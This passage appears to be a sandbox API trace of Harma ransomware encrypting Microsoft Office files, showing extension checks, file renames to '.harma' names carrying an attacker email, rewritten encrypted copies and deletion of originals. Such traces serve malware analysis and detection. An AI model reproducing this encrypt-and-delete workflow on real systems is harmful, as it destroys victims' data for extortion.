(lpString1=".rar", lpString2="_DLL") returned -1 [0152.908] lstrlenW (lpString=".bz2") returned 4 [0152.908] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0152.908] lstrlenW (lpString=".7z") returned 3 [0152.908] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0152.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0152.908] lstrlenW (lpString=".dbf") returned 4 [0152.908] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0152.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0152.908] lstrlenW (lpString=".1cd") returned 4 [0152.908] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0152.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0152.908] lstrlenW (lpString=".jpg") returned 4 [0152.908] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0152.909] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0152.909] lstrlenW (lpString="GRLEX.DLL") returned 9 [0152.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grlex.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0152.910] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=12672) returned 1 [0152.910] CloseHandle (hObject=0x208) returned 1 [0152.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grlex.dll")) returned 0x20 [0152.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grlex.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0152.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grlex.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0152.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0152.911] lstrlenW (lpString=".doc") returned 4 [0152.911] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0152.911] lstrlenW (lpString=".docx") returned 5 [0152.911] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0152.911] lstrlenW (lpString=".pdf") returned 4 [0152.911] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0152.911] lstrlenW (lpString=".xls") returned 4 [0152.911] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0152.911] lstrlenW (lpString=".xlsx") returned 5 [0152.911] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0152.911] lstrlenW (lpString=".ppt") returned 4 [0152.911] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0152.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0152.911] lstrlenW (lpString=".zip") returned 4 [0152.911] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0152.912] lstrlenW (lpString=".rar") returned 4 [0152.912] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0152.912] lstrlenW (lpString=".bz2") returned 4 [0152.912] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0152.912] lstrlenW (lpString=".7z") returned 3 [0152.912] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0152.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0152.912] lstrlenW (lpString=".dbf") returned 4 [0152.912] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0152.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0152.912] lstrlenW (lpString=".1cd") returned 4 [0152.912] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0152.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0152.912] lstrlenW (lpString=".jpg") returned 4 [0152.912] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0152.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0152.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0152.912] lstrlenW (lpString=".doc") returned 4 [0152.912] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0152.912] lstrlenW (lpString=".docx") returned 5 [0152.912] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0152.912] lstrlenW (lpString=".pdf") returned 4 [0152.912] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0152.913] lstrlenW (lpString=".xls") returned 4 [0152.913] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0152.913] lstrlenW (lpString=".xlsx") returned 5 [0152.913] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0152.913] lstrlenW (lpString=".ppt") returned 4 [0152.913] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0152.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0152.913] lstrlenW (lpString=".zip") returned 4 [0152.913] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0152.913] lstrlenW (lpString=".rar") returned 4 [0152.913] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0152.913] lstrlenW (lpString=".bz2") returned 4 [0152.913] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0152.913] lstrlenW (lpString=".7z") returned 3 [0152.913] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0152.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0152.913] lstrlenW (lpString=".dbf") returned 4 [0152.913] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0152.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0152.913] lstrlenW (lpString=".1cd") returned 4 [0152.914] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0152.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0152.914] lstrlenW (lpString=".jpg") returned 4 [0152.914] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0152.914] lstrcmpiW (lpString1=".HXS", lpString2=".harma") returned 1 [0152.914] lstrlenW (lpString="GROOVE.HXS") returned 10 [0152.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0152.916] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=2278416) returned 1 [0152.916] CloseHandle (hObject=0x208) returned 1 [0152.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs")) returned 0x20 [0152.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0152.916] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0152.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0152.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0152.916] lstrlenW (lpString=".doc") returned 4 [0152.916] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0152.916] lstrlenW (lpString=".docx") returned 5 [0152.916] lstrcmpiW (lpString1=".docx", lpString2="E.HXS") returned -1 [0152.917] lstrlenW (lpString=".pdf") returned 4 [0152.917] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0152.917] lstrlenW (lpString=".xls") returned 4 [0152.917] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0152.917] lstrlenW (lpString=".xlsx") returned 5 [0152.917] lstrcmpiW (lpString1=".xlsx", lpString2="E.HXS") returned -1 [0152.917] lstrlenW (lpString=".ppt") returned 4 [0152.917] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0152.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0152.917] lstrlenW (lpString=".zip") returned 4 [0152.917] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0152.917] lstrlenW (lpString=".rar") returned 4 [0152.917] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0152.917] lstrlenW (lpString=".bz2") returned 4 [0152.917] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0152.917] lstrlenW (lpString=".7z") returned 3 [0152.917] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0152.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0152.917] lstrlenW (lpString=".dbf") returned 4 [0152.917] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0152.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0152.917] lstrlenW (lpString=".1cd") returned 4 [0152.917] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0152.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0152.917] lstrlenW (lpString=".jpg") returned 4 [0152.917] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0152.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0152.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0152.918] lstrlenW (lpString=".doc") returned 4 [0152.918] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0152.918] lstrlenW (lpString=".docx") returned 5 [0152.918] lstrcmpiW (lpString1=".docx", lpString2="E.HXS") returned -1 [0152.918] lstrlenW (lpString=".pdf") returned 4 [0152.918] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0152.918] lstrlenW (lpString=".xls") returned 4 [0152.918] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0152.918] lstrlenW (lpString=".xlsx") returned 5 [0152.918] lstrcmpiW (lpString1=".xlsx", lpString2="E.HXS") returned -1 [0152.918] lstrlenW (lpString=".ppt") returned 4 [0152.918] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0152.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0152.918] lstrlenW (lpString=".zip") returned 4 [0152.918] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0152.918] lstrlenW (lpString=".rar") returned 4 [0152.918] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0152.918] lstrlenW (lpString=".bz2") returned 4 [0152.918] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0152.918] lstrlenW (lpString=".7z") returned 3 [0152.918] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0152.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0152.918] lstrlenW (lpString=".dbf") returned 4 [0152.918] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0152.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0152.919] lstrlenW (lpString=".1cd") returned 4 [0152.919] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0152.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0152.919] lstrlenW (lpString=".jpg") returned 4 [0152.919] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0152.919] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0152.919] lstrlenW (lpString="GrooveIntlResource.dll") returned 22 [0152.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0152.920] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=8794976) returned 1 [0152.920] CloseHandle (hObject=0x208) returned 1 [0152.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll")) returned 0x20 [0152.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0152.920] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0152.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0152.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0152.920] lstrlenW (lpString=".doc") returned 4 [0152.920] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0152.920] lstrlenW (lpString=".docx") returned 5 [0152.920] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0152.920] lstrlenW (lpString=".pdf") returned 4 [0152.920] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0152.920] lstrlenW (lpString=".xls") returned 4 [0152.920] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0152.920] lstrlenW (lpString=".xlsx") returned 5 [0152.921] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0152.921] lstrlenW (lpString=".ppt") returned 4 [0152.921] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0152.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0152.921] lstrlenW (lpString=".zip") returned 4 [0152.921] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0152.921] lstrlenW (lpString=".rar") returned 4 [0152.921] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0152.921] lstrlenW (lpString=".bz2") returned 4 [0152.921] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0152.921] lstrlenW (lpString=".7z") returned 3 [0152.921] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0152.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0152.921] lstrlenW (lpString=".dbf") returned 4 [0152.921] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0152.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0152.921] lstrlenW (lpString=".1cd") returned 4 [0152.921] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0152.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0152.921] lstrlenW (lpString=".jpg") returned 4 [0152.921] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0152.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0152.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0152.921] lstrlenW (lpString=".doc") returned 4 [0152.921] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0152.921] lstrlenW (lpString=".docx") returned 5 [0152.921] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0152.921] lstrlenW (lpString=".pdf") returned 4 [0152.922] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0152.922] lstrlenW (lpString=".xls") returned 4 [0152.922] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0152.922] lstrlenW (lpString=".xlsx") returned 5 [0152.922] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0152.922] lstrlenW (lpString=".ppt") returned 4 [0152.922] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0152.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0152.922] lstrlenW (lpString=".zip") returned 4 [0152.922] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0152.922] lstrlenW (lpString=".rar") returned 4 [0152.922] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0152.922] lstrlenW (lpString=".bz2") returned 4 [0152.922] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0152.922] lstrlenW (lpString=".7z") returned 3 [0152.922] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0152.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0152.922] lstrlenW (lpString=".dbf") returned 4 [0152.922] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0152.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0152.922] lstrlenW (lpString=".1cd") returned 4 [0152.922] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0152.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0152.922] lstrlenW (lpString=".jpg") returned 4 [0152.922] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0152.923] lstrcmpiW (lpString1=".HXC", lpString2=".harma") returned 1 [0152.923] lstrlenW (lpString="GROOVE_COL.HXC") returned 14 [0152.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0153.603] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=626) returned 1 [0153.604] CloseHandle (hObject=0x330) returned 1 [0153.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc")) returned 0x20 [0153.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0155.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0155.270] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.270] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0156.421] GetLastError () returned 0x0 [0156.421] ReadFile (in: hFile=0x360, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x272, lpOverlapped=0x0) returned 1 [0156.424] WriteFile (in: hFile=0x334, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x280, lpOverlapped=0x0) returned 1 [0156.425] ReadFile (in: hFile=0x360, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.425] WriteFile (in: hFile=0x334, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0156.425] SetEndOfFile (hFile=0x334) returned 1 [0156.425] CloseHandle (hObject=0x334) returned 1 [0156.426] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.426] SetEndOfFile (hFile=0x360) returned 1 [0156.428] CloseHandle (hObject=0x360) returned 1 [0156.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0156.428] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc")) returned 1 [0156.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0156.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0156.429] lstrlenW (lpString=".doc") returned 4 [0156.429] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0156.429] lstrlenW (lpString=".docx") returned 5 [0156.429] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0156.429] lstrlenW (lpString=".pdf") returned 4 [0156.429] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0156.429] lstrlenW (lpString=".xls") returned 4 [0156.429] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0156.429] lstrlenW (lpString=".xlsx") returned 5 [0156.429] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0156.429] lstrlenW (lpString=".ppt") returned 4 [0156.429] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0156.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0156.430] lstrlenW (lpString=".zip") returned 4 [0156.430] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0156.430] lstrlenW (lpString=".rar") returned 4 [0156.430] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0156.430] lstrlenW (lpString=".bz2") returned 4 [0156.430] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0156.430] lstrlenW (lpString=".7z") returned 3 [0156.430] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0156.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0156.430] lstrlenW (lpString=".dbf") returned 4 [0156.430] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0156.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0156.430] lstrlenW (lpString=".1cd") returned 4 [0156.430] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0156.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0156.430] lstrlenW (lpString=".jpg") returned 4 [0156.430] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0156.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0156.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0156.430] lstrlenW (lpString=".doc") returned 4 [0156.430] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0156.430] lstrlenW (lpString=".docx") returned 5 [0156.430] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0156.430] lstrlenW (lpString=".pdf") returned 4 [0156.430] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0156.430] lstrlenW (lpString=".xls") returned 4 [0156.430] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0156.431] lstrlenW (lpString=".xlsx") returned 5 [0156.431] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0156.431] lstrlenW (lpString=".ppt") returned 4 [0156.431] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0156.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0156.431] lstrlenW (lpString=".zip") returned 4 [0156.431] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0156.431] lstrlenW (lpString=".rar") returned 4 [0156.431] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0156.431] lstrlenW (lpString=".bz2") returned 4 [0156.431] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0156.431] lstrlenW (lpString=".7z") returned 3 [0156.431] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0156.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0156.431] lstrlenW (lpString=".dbf") returned 4 [0156.431] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0156.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0156.431] lstrlenW (lpString=".1cd") returned 4 